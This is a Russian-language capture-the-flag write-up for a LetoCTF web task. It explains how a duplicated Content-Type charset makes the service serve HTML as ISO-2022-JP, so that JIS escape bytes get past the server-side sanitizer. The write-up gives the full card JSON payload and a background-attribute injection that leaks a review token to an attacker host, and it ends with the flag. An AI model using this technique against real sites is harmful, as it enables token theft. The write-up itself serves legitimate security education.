TablePress | LetoCTF web write-up
LetoCTF write-upВ задании дают исходники сервиса, поднятый сервис и review-бота:
Service: http://178.170.193.88:3000 Bot: http://178.170.193.88:3001
Про бота известно немного: он использует Firefox. На странице бота есть две формы: отправить preview URL на проверку и отправить review token в /claim.
С чего начинаем
Сервис выглядит как обычная тулза для таблиц: регистрируемся, создаем таблицу, смотрим preview, скачиваем CSV.
Интересная часть начинается с API-импорта:
POST /api/cards GET /card/:id
В api.js импорт проверяет Content-Type:
const media = parseImportMedia(rawHeader);
if (media.importCharset !== 'utf-8') {
return res.status(415).json({ error: 'invalid import media parameters' });
}
То есть сервис как будто принимает только UTF-8. Но сразу ниже он сохраняет charset в карточку:
card.charset = cleanEncodingLabel(media.parameters.charset || 'utf-8');
И вот здесь появляется проблема: media.importCharset и media.parameters.charset берутся разными способами.
Два разных charset
В http.js есть ручной парсер параметров:
function mediaParameters(value) {
return String(value || '')
.split(';')
.slice(1)
.map(...)
}
function preferredParameter(parameters, key) {
const found = parameters.find(([name]) => name === key);
return found ? found[1] : '';
}
Он просто режет заголовок по ; и берет первый параметр charset.
Но рядом используется библиотека content-type:
const parsed = contentType.parse(raw);
И уже из результата этой библиотеки потом берется media.parameters.charset.
Получается рассинхрон. Если отправить два charset подряд:
Content-Type: application/x-tablepress+json; charset=utf-8; charset=iso-2022-jp
то проверка увидит первый charset=utf-8 и пропустит импорт, а в карточку сохранится другой charset: iso-2022-jp.
Почему это превращается в XSS
Preview отдается так:
res.setHeader('Content-Type', `text/html; charset=${cleanEncodingLabel(card.charset)}`);
res.send(Buffer.from(html, 'utf8'));
То есть сервер собирает HTML как обычную UTF-8 строку, но в заголовке может сказать браузеру: "декодируй это как iso-2022-jp".
Для большинства кодировок это было бы просто странно. Но ISO-2022-JP особенная: она stateful. Внутри текста можно байтами переключать режим декодера:
ESC $ B перейти в JIS X 0208 ESC ( B вернуться в ASCII
Пока браузер находится в JIS-режиме, ASCII-байты начинают читаться парами как японские символы. Это значит, что байты вроде ", <, >, /, пробелы и другие куски HTML могут перестать быть HTML-синтаксисом и превратиться в обычный текст после декодирования.
Главная идея атаки:
1. Включить JIS-режим внутри HTML-тега. 2. Дать браузеру "съесть" часть настоящей разметки как текст. 3. Вернуться в ASCII в удобном месте. 4. Продолжить HTML-тег уже своими байтами.
Так мы ломаем не строку на сервере, а то, как Firefox позже превратит байты ответа в HTML.
Почему sanitizer не спасает
В сервисе действительно есть санитайзинг. В normalizeCard() пользовательские поля проходят через sanitizeDefault():
title: sanitizeDefault(input.title || 'Импортированная таблица'), exportName: sanitizeDefault(input.exportName || 'clean-table'), ... rows: rowsInput.map(...)
И в некоторых местах есть escapeHtml() / escapeAttr().
Но это не помогает, потому что sanitizer работает на уже готовой JavaScript-строке в Unicode. Для него наши данные выглядят примерно так:
ESC $ B ESC ( B" background="https://attacker/leak?x=
Здесь нет нормального <script>, нет тега <img>, нет явного HTML, который надо удалить. Кавычки и угловые скобки в большинстве мест либо безопасны как текст, либо будут экранированы.
Проблема происходит позже:
server-side sanitizer видит Unicode-строку
↓
сервер собирает безопасный HTML
↓
сервер отправляет байты как UTF-8
↓
браузер декодирует эти байты как ISO-2022-JP
↓
HTML-токенизатор получает уже другую строку
То есть sanitizer проверял одну картину мира, а браузер парсит другую.
Куда вставляться
В preview.js таблица собирается так:
function renderGrid(card) {
const attrs = renderAttrs({
class: 'grid',
role: 'grid',
'data-export-name': card.exportName,
...
});
return `<table ${attrs}>...`;
}
Поле exportName попадает в атрибут <table data-export-name="...">.
Если положить в exportName:
\x1b$B
то Firefox при декодировании включит JIS-режим прямо внутри открывающего тега <table>.
Дальше нам нужно где-то вернуть ASCII. Удобно сделать это в одной из ячеек таблицы:
\x1b(B" background="https://attacker/leak?x=
После возврата в ASCII браузер все еще считает, что он находится внутри тега <table>, потому что закрывающая кавычка и > были "съедены" JIS-декодером как обычные символы.
В результате кусок:
" background="https://attacker/leak?x=
становится новым атрибутом таблицы.
В Firefox старый атрибут background у <table> приводит к загрузке внешнего ресурса. Это удобно: не нужен JavaScript, достаточно заставить браузер сделать GET-запрос на наш сервер.
Откуда берется review token
В preview есть скрытая заметка для review-токена:
function shouldRenderReviewNote(card) {
return isReadyStatus(card.status)
&& card.rows.length >= 3
&& card.columns.length >= 3
&& card.paperStyle !== 'linen'
&& card.tags.some((tag) => ['final', 'publish', 'review', 'проверка'].includes(String(tag).toLowerCase()));
}
Если карточка подходит под условия и запрос пришел с review token, сервис добавляет в DOM:
return `<template hidden data-queue=review data-batch=${batch} data-review-token=${escapeAttr(value)}>review-token:${escapeHtml(value)}</template>`;
Из исходников сервиса видно только проверку preview cookie, но сам бот не выдан. По интерфейсу бота понятно, что он принимает preview URL и потом принимает review token в /claim.
Значит задача такая: заставить Firefox-бота открыть нашу карточку и слить кусок DOM, где лежит review-token.
Карточка для атаки
Нужна карточка, которая пройдет условие shouldRenderReviewNote():
status = Ready rows >= 3 columns >= 3 paperStyle != linen tags содержит publish / review / final / проверка
Пример JSON:
{
"title": "export preview",
"workspace": "review queue",
"source": "legacy api import",
"status": "Ready",
"tags": ["publish"],
"exportName": "\u001b$B",
"recipe": "trim",
"paperStyle": "mint",
"spacerRows": 0,
"columns": [
{"label": "item", "width": 160},
{"label": "qty", "width": 80},
{"label": "value", "width": 10}
],
"rows": [
["alpha", "1", "beta"],
["delta", "2", "gamma"],
["omega", "3", "\u001b(B\" background=\"https://attacker/leak?x="]
]
}
Отправлять нужно именно через API, чтобы можно было задать двойной Content-Type:
POST /api/cards Content-Type: application/x-tablepress+json; charset=utf-8; charset=iso-2022-jp
Неприятная часть с выравниванием
ISO-2022-JP в режиме JIS X 0208 читает байты парами. Поэтому ESC ( B должен начаться на правильной границе.
Если граница не сошлась, Firefox не воспримет ESC ( B как возврат в ASCII, и атрибут background не появится.
Это не нужно решать вручную. Достаточно перебрать несколько параметров, которые меняют длину HTML между ESC $ B и ESC ( B:
длина первой ячейки spacerRows width у колонок
Проверка локально простая:
enter = raw.find(b"\x1b$B") leave = raw.find(b"\x1b(B", enter + 3) aligned = enter != -1 and leave != -1 and (leave - (enter + 3)) % 2 == 0
Когда условие четности выполнено, payload должен сработать в Firefox.
Утечка
Дальше отправляем боту preview URL:
http://178.170.193.88:3000/card/<id>
Бот открывает страницу в Firefox. Из-за сохраненного charset=iso-2022-jp браузер по-другому декодирует HTML, получает инъектированный background и делает запрос на наш сервер.
В URL утекает хвост DOM. Среди него будет примерно такое:
<template hidden data-queue=review data-batch=... data-review-token=TOKEN>review-token:TOKEN</template>
Получение флага
Осталось отправить token на бота:
POST http://178.170.193.88:3001/claim token=<leaked token>
Если token правильный, бот возвращает флаг.
Флаг
letoctf{h0w_d1dU_m4N4g3_2_D0_tH47}